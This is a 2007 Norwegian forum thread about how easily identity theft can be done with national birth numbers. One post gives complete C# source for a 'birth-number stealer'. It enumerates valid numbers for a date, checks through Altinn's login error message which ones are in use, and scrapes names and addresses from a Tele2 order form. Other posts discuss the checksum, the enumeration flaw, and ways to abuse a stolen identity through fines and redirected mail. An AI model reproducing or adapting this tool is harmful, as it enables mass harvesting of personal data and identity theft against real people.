Identitetstyveri for enkelt i Norge

[kira_kun]

Funka fint her...

 

Litt dårleg info om korleis programmet kjører, men det ein rask titt i kjeldekoda © avslører det. Dvs kjør program, så skriv inn dd.mm.yyyys, der s er kjønn.

 

Dette er dog ikkje programmet som er omtalt i artikkelen (for der treng ein mykje meir enn ein liten titt for å finn ut kva som foregår...)

 

Kunne vore fint om programmet tok dato/kjønn infoen som ett argument i staden for at det må lesast inn i programmet (og gi ei fin feilmelding om noke er gale).

9183667[/snapback]

 

stemmer, dette er ikkje det omtalte c# programmet, og eg er ikkje den omtalte forfatteren av det.

 

lagde dette dritet på 5-10 min, no lager eg en gui versjon i java(om eg gidder). C versjonen er hevet vekk i dass.

Endret 31. juli 2007 av kira_kun

[HoaXed]

Funka fint her...

 

Litt dårleg info om korleis programmet kjører, men det ein rask titt i kjeldekoda © avslører det. Dvs kjør program, så skriv inn dd.mm.yyyys, der s er kjønn.

 

Dette er dog ikkje programmet som er omtalt i artikkelen (for der treng ein mykje meir enn ein liten titt for å finn ut kva som foregår...)

 

Kunne vore fint om programmet tok dato/kjønn infoen som ett argument i staden for at det må lesast inn i programmet (og gi ei fin feilmelding om noke er gale).

9183667[/snapback]

 

stemmer, dette er ikkje det omtalte c# programmet, og eg er ikkje den omtalte forfatteren av det.

 

lagde dette dritet på 5-10 min, no lager eg en gui versjon i java(om eg gidder). C versjonen er hevet vekk i dass.

9183868[/snapback]

Funket programmet eller ikke?

 

Hvilke sikkertshull brukes det i dette programmet. Finnes jo mange fler enn Tele2 man kan bruke. Får desverre ikke testet selv da jeg ikke vet hvordan man kompilerer i Vista.

[kommers]

Dersom du med "dette programmet" omtaler C-koden ovenfor, så utnytter ikke det noen sikkerhetshull. Det programmet lager bare en liste over alle (algoritmisk/teoretisk) gyldige fødselsnumre for den fødselsdatoen og kjønnet du mater det med. Programmet bruker kun åpent/allmenn kunnskap, og fødselsnummerne programmet lager trenger ikke engang å være i bruk. (Det får du spørre altinn.no eller noen andre om).

Endret 31. juli 2007 av kommers

[HoaXed]

Dersom du med "dette programmet" omtaler C-koden ovenfor, så utnytter ikke det noen sikkerhetshull. Det programmet lager bare en liste over alle (algoritmisk/teoretisk) gyldige fødselsnumre for den fødselsdatoen og kjønnet du mater det med. Programmet bruker kun åpent/allmenn kunnskap, og fødselsnummerne programmet lager trenger ikke engang å være i bruk. (Det får du spørre altinn.no eller noen andre om).

9184088[/snapback]

Da var det lettere å forstå. Fant formlene på nettet ved hjelp av en suveren og spennende artikkel fra UiO. Det er vell dette det man kan gjøre, for så å sjekke alltin om det er i bruk for så å sjekke med nettsider etter adresser og lignende.

[Culpa]

Det dere glemmer å tenke på er at dette sikkerhetshullet er todelt. Altinn har like stor feil i dette som i de kommersielle selskapene. Altinn gjør en generaltabbe innen datasikkerhet ved å gi en reaksjon for feil personnummer og en annen for riktig. Det er det som gjør at primærfunksjonen, nemlig det å generere og sjekke om de stemmer fungerer.

 

Selv om man generer matematisk riktige personnummer og sjekker de opp mot feks tele2 vil man måtte lete mye lengre og sjekke mye for å komme frem til noe svar, så den egentlige feilen ligger hos Altinn.

9178166[/snapback]

Så vidt jeg har skjønt så er vil man få rundt 20% treff dersom man ikke får hjelp av Altinn. Dette fordi det er mindre enn 1000 valgfrie nummer på hver dato og tross alt fødes det ganske mange hver dag (rundt 160+innvandring.) I tillegg har man enkelte datoer som er fulle (pga tidligere praksis med at personer med ukjent fødselsdato fikk 01.01.xx) Tar man å velger disse årene og datoene vil man få omlag 100% treff.

 

Ut fra dette kan jeg ikke helt skjønne at Altinn er den store synderen når det egentlig ikke er noe hokus pokus å matematisk å generere personnummer med 20% treff og opp mot 100% på enkelte valgte datoer.

 

Digital signatur er vel løsningen på problemet?

[charlie di meola]

Klikk for å se/fjerne innholdet nedenfor

using System;

using System.Collections.Generic;

using System.Text;

using System.IO;

using System.Net;

using System.Text.RegularExpressions;

 

namespace Fødselsnummer_stjeler

{

    class Program

    {

        private static bool sjekkFødselsnummer(String fødselsnummer)

        {

            byte[] data = Encoding.ASCII.GetBytes("__EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=dDwtODE3MTQ0OTU2O3Q8O2w8aTwxPjs%2BO2w8dDw7bDxpPDU%2BOz47bDx0PHA8cDxsPFZJRVdTVEFURV9PUkRFUlBJTlNURVA7PjtsPG88dD47Pj47PjtsPGk8MT47aTwzPjtpPDU%2BO2k8Nz47aTw5PjtpPDExPjtpPDEzPjtpPDIxPjtpPDI2PjtpPDI3PjtpPDI5PjtpPDMxPjtpPDM1PjtpPDM3Pjs%2BO2w8dDxwPGw8VGV4dDs%2BO2w8VmVsa29tbWVuIHRpbCBBbHRpbm4hOz4%2BOzs%2BO3Q8cDxsPFZpc2libGU7PjtsPG88Zj47Pj47Oz47dDxwPGw8VGV4dDs%2BO2w8TG9nZyBpbm4gbWVkIHBhc3NvcmQ6Oz4%2BOzs%2BO3Q8cDxwPGw8VGV4dDs%2BO2w8U3RlZyAxIGF2IDI7Pj47Pjs7Pjt0PHA8bDxpbm5lcmh0bWw7PjtsPEJydWsgZGl0dCBzZWx2dmFsZ3RlIHBhc3NvcmQgb2cga2xpa2sgcMOlIFw8aVw%2BRm9ydHNldHRcPC9pXD4ta25hcHBlbiBmb3Igw6UgYmVrcmVmdGUgZGluIGlkZW50aXRldCBtZWQgZW5nYW5nc2tvZGUuOz4%2BOzs%2BO3Q8cDxsPHN0eWxlOz47bDxIRUlHSFQ6NjBweFw7ZGlzcGxheTpub25lXDs7Pj47Oz47dDxwPGw8VmlzaWJsZTs%2BO2w8bzxmPjs%2BPjs7Pjt0PHA8bDxWaXNpYmxlOz47bDxvPGY%2BOz4%2BOzs%2BO3Q8cDxwPGw8VmlzaWJsZTs%2BO2w8bzxmPjs%2BPjs%2BOzs%2BO3Q8cDxwPGw8VGV4dDs%2BO2w8Rm9ydHNldHQgXD5cPjs%2BPjs%2BOzs%2BO3Q8O2w8aTwzPjtpPDU%2BO2k8Nz47PjtsPHQ8O2w8aTwwPjs%2BO2w8dDw7bDxpPDA%2BOz47bDx0PHA8cDxsPEltYWdlVXJsOz47bDwuLi8uLi9JbWFnZXMvQ19ib2tzLmdpZjs%2BPjs%2BOzs%2BOz4%2BOz4%2BO3Q8O2w8aTwwPjs%2BO2w8dDw7bDxpPDA%2BOz47bDx0PHA8cDxsPEltYWdlVXJsOz47bDwuLi8uLi9JbWFnZXMvRF9ib2tzLmdpZjs%2BPjs%2BOzs%2BOz4%2BOz4%2BO3Q8cDxsPFZpc2libGU7PjtsPG88Zj47Pj47Oz47Pj47dDxwPHA8bDxOYXZpZ2F0ZVVybDs%2BO2w8Lzs%2BPjtwPGw8b25jbGljazs%2BO2w8d2luZG93Lm9wZW4oJ0FsdGlubkhlbHAuYXNweCNpbm5sb2dnaW5nJywgJ19ibGFuaycsICd3aWR0aD04MDAsIGhlaWdodD02MDAsIHJlc2l6YWJsZT15ZXMsIHRvb2xiYXI9bm8sIHNjcm9sbGJhcnM9eWVzJylcOyByZXR1cm4gZmFsc2VcOzs%2BPj47Oz47dDxwPHA8bDxWaXNpYmxlOz47bDxvPGY%2BOz4%2BOz47Oz47dDxwPHA8bDxWaXNpYmxlOz47bDxvPGY%2BOz4%2BOz47Oz47Pj47Pj47Pj47bDxQaW5jb2RlU01TMTpSYWRpb0J1dHRvbkxpc3RMb2dpbkFsdGVybmF0aXZlc18wO1BpbmNvZGVTTVMxOlJhZGlvQnV0dG9uTGlzdExvZ2luQWx0ZXJuYXRpdmVzXzE7Pj4UnOEQeEcEjcIhShGzLKAd8PH%2Fsg%3D%3D&PincodeSMS1%3ARadioButtonListLoginAlternatives=1&PincodeSMS1%3AFnrTextBox=" + fødselsnummer + "&PincodeSMS1%3APasswordTextBox=&iebug=&PincodeSMS1%3AOrderSMSPinButton=Fortsett+%3E%3E");

           

            Regex fødselsnummerReg = new Regex("<div id=\"PincodeSMS1_ErrorString\" class=\"userError\">Fødselsnummeret er feil.</div>");

           

            HttpWebRequest request = (HttpWebRequest)WebRequest.Create("https://www.altinn.no/ega/Login/Login2.aspx");

            request.Method = "POST";

            request.ContentType = "application/x-www-form-urlencoded";

            request.ContentLength = data.Length;

            request.UserAgent = "Mozilla/5.0 (Windows; U; Windows NT 5.1; nb-NO; rv:1.8.1.5) Gecko/20070713 Firefox/2.0.0.5";

            request.Referer = "https://www.altinn.no/ega/Login/Login2.aspx";

 

            CookieContainer myContainer = new CookieContainer();

            request.CookieContainer = myContainer;

           

            Stream postData = request.GetRequestStream();

            postData.Write(data, 0, data.Length);

            postData.Close();

 

            HttpWebResponse response = (HttpWebResponse)request.GetResponse();

 

            Stream Answer = response.GetResponseStream();

            StreamReader _Answer = new StreamReader(Answer);

 

            String htmlBuffer = _Answer.ReadToEnd();

 

            Match fødselsnummerMatch = fødselsnummerReg.Match(htmlBuffer);

 

            if (fødselsnummerMatch.Success)

                return false;

            else

                return true;

 

        }

 

        private static String sjekkPersonalia(string fødselsnummer, string tele2)

        {

            byte[] data = Encoding.ASCII.GetBytes("trinn=2&fratrinn=2" + tele2 + "&personnummer=" + fødselsnummer);

 

            HttpWebRequest request = (HttpWebRequest)WebRequest.Create("https://www.tele2.no/privat/mobil/bestill/index.cfm/mobil_kompis/?trinn=3" +tele2);

            request.Method = "POST";

            request.ContentType = "application/x-www-form-urlencoded";

            request.ContentLength = data.Length;

            request.UserAgent = "Mozilla/5.0 (Windows; U; Windows NT 5.1; nb-NO; rv:1.8.1.5) Gecko/20070713 Firefox/2.0.0.5";

            request.Referer = "https://www.tele2.no/privat/mobil/bestill/index.cfm/mobil_kompis/?trinn=2" +tele2;

 

            CookieContainer myContainer = new CookieContainer();

            request.CookieContainer = myContainer;

 

            Stream postData = request.GetRequestStream();

            postData.Write(data, 0, data.Length);

            postData.Close();

 

            HttpWebResponse response = (HttpWebResponse)request.GetResponse();

 

            Stream Answer = response.GetResponseStream();

            StreamReader _Answer = new StreamReader(Answer);

 

            String htmlBuffer = _Answer.ReadToEnd();

 

            Regex regexForNavn = new Regex("<dd><input type=\"text\" name=\"fornavn\" id=\"mobil-bestilling-fornavn\" value=\"(?<fnavn>.+)\" disabled=\"disabled\" /></dd>");

            Regex regexEtterNavn = new Regex("<dd><input type=\"text\" name=\"etternavn\" id=\"mobil-bestilling-etternavn\" value=\"(?<enavn>.+)\" disabled=\"disabled\" /></dd>");

            Regex regexAdresse = new Regex("<dd><input type=\"text\" name=\"adresse\" id=\"mobil-bestilling-adresse\" value=\"(?<adresse>.+)\" disabled=\"disabled\" /></dd>");

            Regex regexPostnummer = new Regex("<dd><input type=\"text\" name=\"postnummer\" id=\"mobil-bestilling-postnummer\" value=\"(?<postnummer>.+)\" disabled=\"disabled\" /></dd>");

 

            Match matchForNavn = regexForNavn.Match(htmlBuffer);

            Match matchEtterNavn = regexEtterNavn.Match(htmlBuffer);

            Match matchAdresse = regexAdresse.Match(htmlBuffer);

            Match matchPostnummer = regexPostnummer.Match(htmlBuffer);

 

            String fornavn = matchForNavn.Groups["fnavn"].Value;

            String etternavn = matchEtterNavn.Groups["enavn"].Value;

            String adresse = matchAdresse.Groups["adresse"].Value;

            String postnummer = matchPostnummer.Groups["postnummer"].Value;

 

            String allinfo = String.Format("{0} {1} - {2} {3}", fornavn, etternavn, adresse, postnummer);

 

            return allinfo;

        }

 

        static int Main(string[] args)

        {

            string tele2 = "";

 

            try

            {

                FileStream filTele2 = new FileStream("tele2.txt", FileMode.Open, FileAccess.Read);

 

                StreamReader streamTele2 = new StreamReader(filTele2);

 

                tele2 = streamTele2.ReadToEnd();

 

                streamTele2.Close();

                filTele2.Close();

            }

            catch (Exception e)

            {

                Console.WriteLine("Advarsel: " + e.Message);

                return 0;

            }

 

            Console.WriteLine("Vennligst skriv fødselsdatoen (ddmmåå): ");

            String fødselsdatoBuffer = Console.ReadLine();

            Console.WriteLine("Vil du hente ned tilhørende personalia? (0 = Nei, 1 = Ja): ");

            String personaliaSjekk = Console.ReadLine();

 

            StreamWriter sw = new StreamWriter(new FileStream(fødselsdatoBuffer + ".txt", FileMode.Create, FileAccess.Write));

           

            sw.WriteLine("####START OF FILE####");

 

            int d1 = Convert.ToInt32(fødselsdatoBuffer.Substring(0, 1));

            int d2 = Convert.ToInt32(fødselsdatoBuffer.Substring(1, 1));

            int m1 = Convert.ToInt32(fødselsdatoBuffer.Substring(2, 1));

            int m2 = Convert.ToInt32(fødselsdatoBuffer.Substring(3, 1));

            int å1 = Convert.ToInt32(fødselsdatoBuffer.Substring(4, 1));

            int å2 = Convert.ToInt32(fødselsdatoBuffer.Substring(5, 1));

 

            for (int i1 = 0; i1 < 10; i1++)

                for (int i2 = 0; i2 < 10; i2++)

                    for (int i3 = 0; i3 < 10; i3++)

                    {

                        if ((i3 % 2) == 1 || (i3 % 1) == 0)

                        {

                            int k1 = 11 - ((3 * d1 + 7 * d2 + 6 * m1 + 1 * m2 + 8 * å1 + 9 * å2 + 4 * i1 + 5 * i2 + 2 * i3) % 11);

                            if (k1 == 11)

                                k1 = 0;

 

                            int k2 = 11 - ((5 * d1 + 4 * d2 + 3 * m1 + 2 * m2 + 7 * å1 + 6 * å2 + 5 * i1 + 4 * i2 + 3 * i3 + 2 * k1) % 11);

                            if (k2 == 11)

                                k2 = 0;

 

                            if (k1 != 10 && k2 != 10)

                            {

                                String fødselsnummer = String.Format("{0}{1}{2}{3}{4}{5}{6}{7}{8}{9}{10}", d1, d2, m1, m2, å1, å2, i1, i2, i3, k1, k2);

 

                                if (sjekkFødselsnummer(fødselsnummer) == true)

                                {

                                    if (personaliaSjekk == "1")

                                    {

                                        String personalia = sjekkPersonalia(fødselsnummer, tele2);

                                        if (personalia.Length > 5)

                                        {

                                            Console.WriteLine(fødselsnummer + " - " + personalia);

                                            sw.WriteLine(fødselsnummer + " - " + personalia);

                                        }

                                        else

                                        {

                                            Console.WriteLine(fødselsnummer + " - KUNNE IKKE HENTE INFO!");

                                            sw.WriteLine(fødselsnummer + " - KUNNE IKKE HENTE INFO!");

                                        }

                                    }

                                    else

                                    {

                                        Console.WriteLine(fødselsnummer);

                                        sw.WriteLine(fødselsnummer);

                                    }

                                }

                                else

                                {

                                    Console.WriteLine(fødselsnummer + " - IKKE I BRUK!!");

                                    sw.WriteLine(fødselsnummer + " - IKKE I BRUK!!");

                                }

 

 

                            }

                        }

                    }

            sw.WriteLine("####END OF FILE####");

            sw.Close();

            return 0;

        }

    }

}

her er det omtalte programmet. det fungerer ikke lenger mot tele2 (som nå bruker fornavn og etternavn til validering + personnummer) men det er andre webgrensesnitt som kan brukes.

 

(får en feilmelding når jeg bruker CODE tag'en, derfor quote.)

edit: oops. puttet det inn i en spoiler slik at bredden ikke blir helt brutalisert

Endret 1. august 2007 av charlie di meola

[ATWindsor]

Det dere glemmer å tenke på er at dette sikkerhetshullet er todelt. Altinn har like stor feil i dette som i de kommersielle selskapene. Altinn gjør en generaltabbe innen datasikkerhet ved å gi en reaksjon for feil personnummer og en annen for riktig. Det er det som gjør at primærfunksjonen, nemlig det å generere og sjekke om de stemmer fungerer.

 

Selv om man generer matematisk riktige personnummer og sjekker de opp mot feks tele2 vil man måtte lete mye lengre og sjekke mye for å komme frem til noe svar, så den egentlige feilen ligger hos Altinn.

9178166[/snapback]

Så vidt jeg har skjønt så er vil man få rundt 20% treff dersom man ikke får hjelp av Altinn. Dette fordi det er mindre enn 1000 valgfrie nummer på hver dato og tross alt fødes det ganske mange hver dag (rundt 160+innvandring.) I tillegg har man enkelte datoer som er fulle (pga tidligere praksis med at personer med ukjent fødselsdato fikk 01.01.xx) Tar man å velger disse årene og datoene vil man få omlag 100% treff.

 

Ut fra dette kan jeg ikke helt skjønne at Altinn er den store synderen når det egentlig ikke er noe hokus pokus å matematisk å generere personnummer med 20% treff og opp mot 100% på enkelte valgte datoer.

 

Digital signatur er vel løsningen på problemet?

9184220[/snapback]

 

Altinn mener jo at hva som er gyldig personnummere i bruk ikke er noe å skjule for allmenheten. Så sånn sett er deres sikkerhet god nok for det de prøver å oppnå.

 

AtW

[miceagol]

Funka fint her...

 

Litt dårleg info om korleis programmet kjører, men det ein rask titt i kjeldekoda © avslører det. Dvs kjør program, så skriv inn dd.mm.yyyys, der s er kjønn.

9183667[/snapback]

 

Ah, så programmet hang fordi den ventet på input fra meg.

 

her er det omtalte programmet. det fungerer ikke lenger mot tele2 (som nå bruker fornavn og etternavn til validering + personnummer) men det er andre webgrensesnitt som kan brukes.

9184615[/snapback]

 

Her fikk jeg en masse feilmeldinger under kompilering. Ene fra den lange

byte[] data = Encoding.ASCII.GetBytes("...")

og den andre fra pakkeavhengighetene i starten. Denne avhenger vel av .NET? Det har jeg ikke hatt behov for å installere her i Linux.

[reidar76]

Å si noe om programmet vil jo ikke være å bryte noen retningslinjer siden personnummeret eller fødelsnummeret er sensitiv informasjon. Hadde det vært det hadde jeg saksøkt Tele2

9181013[/snapback]

 

Personnummer (det heter egentlig fødselsnummer) er ikke sensitiv informasjon Jfr. personopplysningsloven § 2 punkt 8. (http://www.lovdata.no/all/tl-20000414-031-001.html#2)

 

Følgende personopplysninger er sensitive:

a) rasemessig eller etnisk bakgrunn, eller politisk, filosofisk eller religiøs oppfatning,

b) at en person har vært mistenkt, siktet, tiltalt eller dømt for en straffbar handling,

c) helseforhold,

d) seksuelle forhold,

e) medlemskap i fagforeninger.

 

Personopplysningsloven § 12 setter derimot noen begrensninger på bruk av fødselsnummer. Det er f.eks. kun anledning til å bruke fødselsnummer når andre identifikasjonsmetoder ikke er tilstrekkelige for entydig identifisering. Eksempler på annen identifikasjon er kundenummer, ansattnummer, studentnummer o.l.

[Vizla]

Intet problem? Hvordan har du tenkt å "ødelegge en person økonomisk" uproblematisk, med utgangspunkt i personnummeret?

 

AtW

9180751[/snapback]

 

Bøter f.eks., pugge 11 og navn.

Endret 1. august 2007 av Vizla

[ATWindsor]

Intet problem? Hvordan har du tenkt å "ødelegge en person økonomisk" uproblematisk, med utgangspunkt i personnummeret?

 

AtW

9180751[/snapback]

 

Bøter f.eks., pugge 11 og navn.

9185715[/snapback]

 

Hvilke bøter får man dere man hverken må legitimere seg, eller bilnummeeret er notert? Forøvrig er det ikke økonmisk ruin å få en bot som er feilaktig, husk at man bare "skylder" penger, pengene blir ikke automatisk tatt fra deg, og vil heller ikke bli det, sålengde du protesterer på boten.

 

AtW

[Vizla]

Hvilke bøter får man dere man hverken må legitimere seg, eller bilnummeeret er notert? Forøvrig er det ikke økonmisk ruin å få en bot som er feilaktig, husk at man bare "skylder" penger, pengene blir ikke automatisk tatt fra deg, og vil heller ikke bli det, sålengde du protesterer på boten.

 

AtW

9185782[/snapback]

 

Hvis man ikke legitimerer seg sjekkes det opp mot folkeregisteret med 11, navn og adresse. Det er også vanlig å spørre noen enkle spørsmål, f.eks. hvor du bodde som liten, når foreldre er født etc. hvis man ikke har ID. ( Lett å finne på nettet i disse dager )

 

Hvis du får 20-30 bøter i løpet av en måned vil du ha et ganske så stort problem hvis du lever et stabilt liv.

[ATWindsor]

Hvilke bøter får man dere man hverken må legitimere seg, eller bilnummeeret er notert? Forøvrig er det ikke økonmisk ruin å få en bot som er feilaktig, husk at man bare "skylder" penger, pengene blir ikke automatisk tatt fra deg, og vil heller ikke bli det, sålengde du protesterer på boten.

 

AtW

9185782[/snapback]

 

Hvis man ikke legitimerer seg sjekkes det opp mot folkeregisteret med 11, navn og adresse. Det er også vanlig å spørre noen enkle spørsmål, f.eks. hvor du bodde som liten, når foreldre er født etc. hvis man ikke har ID. ( Lett å finne på nettet i disse dager )

 

Hvis du får 20-30 bøter i løpet av en måned vil du ha et ganske så stort problem hvis du lever et stabilt liv.

9185867[/snapback]

 

Det er styr å få mange bøter, det er ikke økonomisk ruin, som sagt, det er jo bare å ikke betale, og å betride kravet, noe som unektlig er litt ork, men det er langt ifra økonomisk ruin.

 

I tilegg er det ingen som får så mange bøter uten å gjøre det med vilje, mao må de ha et aktivt mål om å lage faen for deg. Og da finnes det lettere måter.

 

AtW

 

AtW

Endret 1. august 2007 av ATWindsor

[Vizla]

Det er styr å få mange bøter, det er ikke økonomisk ruin, som sagt, det er jo bare å ikke betale, og å betride kravet, noe som unektlig er litt ork, men det er langt ifra økonomisk ruin.

 

I tillegg er det ingen som får så mange bøter uten å gjøre det med vilje, mao må de ha et aktivt mål om å lage faen for deg. Og da finnes det lettere måter.

 

AtW

 

AtW

9185955[/snapback]

 

Nekt så mye du vil du, til slutt vil de komme for pengene sine. Som sagt, dette er noe som ville fungert mot en person som allerede har et stabilt liv, god jobb etc. ikke en boms som bryr seg meget lite om en inkasso-varsel.

[ATWindsor]

Det er styr å få mange bøter, det er ikke økonomisk ruin, som sagt, det er jo bare å ikke betale, og å betride kravet, noe som unektlig er litt ork, men det er langt ifra økonomisk ruin.

 

I tillegg er det ingen som får så mange bøter uten å gjøre det med vilje, mao må de ha et aktivt mål om å lage faen for deg. Og da finnes det lettere måter.

 

AtW

 

AtW

9185955[/snapback]

 

Nekt så mye du vil du, til slutt vil de komme for pengene sine. Som sagt, dette er noe som ville fungert mot en person som allerede har et stabilt liv, god jobb etc. ikke en boms som bryr seg meget lite om en inkasso-varsel.

9187073[/snapback]

 

De vil ikek komme etter pengene dine når det er gjentatte bøer der vedkommende ikke har legitimert seg, styr blir det såklart, men det ordnes tilslutt.

 

Et inkassovarsel plager i utgangspunktet ingen, bestrid kravet, og man får ikke anmerkning før saken er løst.

 

AtW

[Vizla]

De vil ikek komme etter pengene dine når det er gjentatte bøer der vedkommende ikke har legitimert seg, styr blir det såklart, men det ordnes tilslutt.

Hvorvidt Politiet loggfører om personen har fremlagt gyldig ID eller om positiv ID har kommet muntlig kjenner jeg ikke til så skal ikke uttale meg der, men vet at andre offentlige instanser som gir bøter ikke fører dette.

[HoaXed]

Å si noe om programmet vil jo ikke være å bryte noen retningslinjer siden personnummeret eller fødelsnummeret er sensitiv informasjon. Hadde det vært det hadde jeg saksøkt Tele2

9181013[/snapback]

 

Personnummer (det heter egentlig fødselsnummer) er ikke sensitiv informasjon Jfr. personopplysningsloven § 2 punkt 8. (http://www.lovdata.no/all/tl-20000414-031-001.html#2)

 

 

9185574[/snapback]

Er det ikke det jeg sier da

 

EDIT: Åja. Seff. Har glemt ut _ikke_ . Hvis du leser hele skjønner du kanskje at jeg glemte det. Men men. Sorry, så det etter at jeg skrev innlegget nå.

Endret 1. august 2007 av HoaXed

[enden]

De vil ikek komme etter pengene dine når det er gjentatte bøer der vedkommende ikke har legitimert seg, styr blir det såklart, men det ordnes tilslutt.

Hvorvidt Politiet loggfører om personen har fremlagt gyldig ID eller om positiv ID har kommet muntlig kjenner jeg ikke til så skal ikke uttale meg der, men vet at andre offentlige instanser som gir bøter ikke fører dette.

9189196[/snapback]

Ved gjentatte situasjoner som dette bør det være en smal sak å finne minst en situasjon der man har alibi. Finner man flere kan det etableres et mønster som antyder at man blir utsatt for et overgrep i form av identitetstyveri. Dermed står man faktisk ganske sterkt i en bøtesak.

 

Nå er vel hele scenariet ganske søkt uansett. Sist jeg sjekket ble man bedt om å bli med på stasjonen dersom man nektet å identifisere seg. Jeg tror ikke det holder å oppgi 11 + navn på gata.

Endret 2. august 2007 av enden

[.:CyberMan:.]

De vil ikek komme etter pengene dine når det er gjentatte bøer der vedkommende ikke har legitimert seg, styr blir det såklart, men det ordnes tilslutt.

Hvorvidt Politiet loggfører om personen har fremlagt gyldig ID eller om positiv ID har kommet muntlig kjenner jeg ikke til så skal ikke uttale meg der, men vet at andre offentlige instanser som gir bøter ikke fører dette.

9189196[/snapback]

Ved gjentatte situasjoner som dette bør det være en smal sak å finne minst en situasjon der man har alibi. Finner man flere kan det etableres et mønster som antyder at man blir utsatt for et overgrep i form av identitetstyveri. Dermed står man faktisk ganske sterkt i en bøtesak.

 

Nå er vel hele scenariet ganske søkt uansett. Sist jeg sjekket ble man bedt om å bli med på stasjonen dersom man nektet å identifisere seg. Jeg tror ikke det holder å oppgi 11 + navn på gata.

9191743[/snapback]

Det er vel mere situvasjoner der posten og folkeregisteret blir omaddreisert.. Varer, medlemskap og tjenester blir bestilt eller avbestilt i ditt navn på den nye addressen.. Nyr kreddit kort lager/bestilt.. Osv. Osv.. Som igjen kan føre til et stort antall ekstra reginger.. Tømte kontoer.. forsvunnet post.. ikke kreddit verdig.. avsluttet internet, mobil, tlf, kabel, blad abbonemang osv.. +EIT stort opprensings arbeid i form av xxxxxx telefoner, brev og besøk på poleti stasjonen.. osv..

 

Er ikke dette en "katastrofe" i seg selg, i en allerede hektisk verdag, så vet ikke jeg.

 

.:CyberMan:.

[ATWindsor]

De vil ikek komme etter pengene dine når det er gjentatte bøer der vedkommende ikke har legitimert seg, styr blir det såklart, men det ordnes tilslutt.

Hvorvidt Politiet loggfører om personen har fremlagt gyldig ID eller om positiv ID har kommet muntlig kjenner jeg ikke til så skal ikke uttale meg der, men vet at andre offentlige instanser som gir bøter ikke fører dette.

9189196[/snapback]

Ved gjentatte situasjoner som dette bør det være en smal sak å finne minst en situasjon der man har alibi. Finner man flere kan det etableres et mønster som antyder at man blir utsatt for et overgrep i form av identitetstyveri. Dermed står man faktisk ganske sterkt i en bøtesak.

 

Nå er vel hele scenariet ganske søkt uansett. Sist jeg sjekket ble man bedt om å bli med på stasjonen dersom man nektet å identifisere seg. Jeg tror ikke det holder å oppgi 11 + navn på gata.

9191743[/snapback]

Det er vel mere situvasjoner der posten og folkeregisteret blir omaddreisert.. Varer, medlemskap og tjenester blir bestilt eller avbestilt i ditt navn på den nye addressen.. Nyr kreddit kort lager/bestilt.. Osv. Osv.. Som igjen kan føre til et stort antall ekstra reginger.. Tømte kontoer.. forsvunnet post.. ikke kreddit verdig.. avsluttet internet, mobil, tlf, kabel, blad abbonemang osv.. +EIT stort opprensings arbeid i form av xxxxxx telefoner, brev og besøk på poleti stasjonen.. osv..

 

Er ikke dette en "katastrofe" i seg selg, i en allerede hektisk verdag, så vet ikke jeg.

 

.:CyberMan:.

9192784[/snapback]

 

Om man har en hektisk hverdag, så tar det ikke lange tiden før man oppdager at man ikke får post, og undersøker dette, kredittkort blir gjerne sendte rekommandert. Og nok engang: ingen tømmer kontoen din om du skylder de penger (kanskje med unntak av futen ), de framsetter krav, krav som du bestrider, og dermed får du heller ikke betalingsanmerkninger.

 

AtW